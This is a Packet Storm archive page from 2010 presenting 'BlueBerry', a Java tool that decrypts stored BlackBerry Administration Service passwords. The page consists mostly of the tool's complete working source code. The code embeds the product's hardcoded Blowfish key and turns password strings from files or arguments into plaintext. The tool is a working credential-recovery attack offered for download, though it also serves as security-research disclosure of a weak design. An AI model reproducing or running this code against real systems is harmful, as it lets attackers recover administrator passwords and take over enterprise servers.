what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

BlueBerry Password Cracker

BlueBerry Password Cracker
Posted Dec 13, 2010
Authored by Nicolas Collignon | Site hsc.fr

BlueBerry is a tool written in java that can be used to decrypt BlackBerry Administration Service passwords.

tags | java, cracker
SHA-256 | 02b7b2bb7cbc5ac3d61fd4b60523949d0abf0119c799d18becadc5ee8b085ed4

BlueBerry Password Cracker

Change Mirror Download
/*
* BlueBerry, a BlackBerry Administration Service passwords cracker
* -- nicolas.collignon@hsc.fr
*/
import java.io.FileInputStream;
import java.io.DataInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.math.BigInteger;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

public class BlueBerry {

private static final String algo = "Blowfish";

// jaas is the way
private static final byte[] magic_key =
{0x6a,0x61,0x61,0x73,0x20,0x69,0x73,0x20,0x74,0x68,0x65,0x20,0x77,0x61,0x79};

public static String decode(String password) {
Cipher cipher;
byte[] data;
byte msb;

try {
cipher = Cipher.getInstance(algo);
cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(magic_key, algo));

msb = 1;
if (password.startsWith("z")) {
password = password.substring(1);
msb = 0;
} else if (password.startsWith("m")) {
password = password.substring(1);
msb = -1;
}

data = (new BigInteger(password, 16)).toByteArray();
if (msb != 1)
data[0] = msb;

return new String(cipher.doFinal(data));

} catch (Exception e) {
System.err.println("error: failed to decrypt " + password + " (" + e.toString() +")");
return "<error>";
}
}

public static void main(String argv[]) {

int i, pos;
DataInputStream in;
BufferedReader br;
String line, secret;

if ((argv == null) || (argv.length < 1)
|| (argv[0].equals("-p") && (argv.length < 2))) {
System.out.println("usage: BlueBerry <pass.txt> [[pass2.txt] ..]\n"
+ " -p <pass> [[pass2] ..]");
return;
}

if (argv[0].equals("-p")) {
// read passwords from command line
for (i=1; i<argv.length; ++i) {
if (argv.length > 2)
System.out.println(argv[i] + ":" + decode(argv[i]));
else
System.out.println(decode(argv[i]));
}
return;
}

// read passwords from file
for (i=0; i<argv.length; ++i) {
try {
in = new DataInputStream(new FileInputStream(argv[i]));
br = new BufferedReader(new InputStreamReader(in));
while ((line = br.readLine()) != null) {
line = line.trim();
if (line.equals(""))
continue;

pos = line.indexOf(":");
if (pos > 0) {
secret = line.substring(pos+1).trim();
if (secret.equals(""))
continue;
line = line.substring(0, pos);
} else {
line = "";
secret = line;
}

System.out.println(line + ":" +decode(secret));
}
in.close();
} catch (Exception e) {
System.err.println("error: failed to read " + argv[i] + " (" + e.toString() + ")");
}
}
}

}


Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close